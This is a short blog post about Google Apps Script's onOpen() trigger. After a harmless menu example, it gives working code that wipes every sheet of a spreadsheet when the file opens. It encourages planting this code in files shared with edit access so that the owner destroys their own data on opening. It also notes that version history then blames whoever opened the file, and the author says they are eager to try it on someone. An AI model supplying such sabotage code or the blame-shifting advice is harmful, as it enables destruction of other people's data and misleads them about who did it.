Suicide

This post is the result of writing a LOT of Google apps scripts and watching a lot of ‘Forensic Files‘ in Netflix.

An interesting function I used so far to attach a menu is the onOpen() function. The code inside the onOpen() function executes when the file is opened.

For example, following code is an example of onOpen from my previous post. It adds a menu called ‘JetPack’ with an item under it called ‘Mail Merge as PDF’.

function onOpen() {
  SpreadsheetApp
    .getUi()
    .createMenu('JetPack')
    .addItem('Mail Merge as PDF', 'generatePDF')
    .addToUi()
}
Creating custom menu using script

This made me think of a perfect prank (aka crime). What if I inject the following code for onOpen()

function onOpen() {
  var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
  var sheets = spreadsheet.getSheets();
  for (var i = 0; i < sheets.length; i++) {
    sheets[i].clear();
  }
}

The above scripts clears all the contents of the spreadsheet when you open the file. 🙂 This script will work only on the current file and won’t work on other files. Hence, the perfect suicide.

The interesting part is that this works even if the file is shared with you with edit access. Just plugin the script and wait for the owner to open the file. The best part about this is that the version history doesn’t show that you did anything. It points back to the owner (or whoever opened the file) as if they removed all the contents of the file. For example, something like this

And why this is a suicide? Because the file kills itself. Pretty cool hack/crime. Waiting to try this on someone!

Disclaimer: I’m not responsible for any damage done because of the script above.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.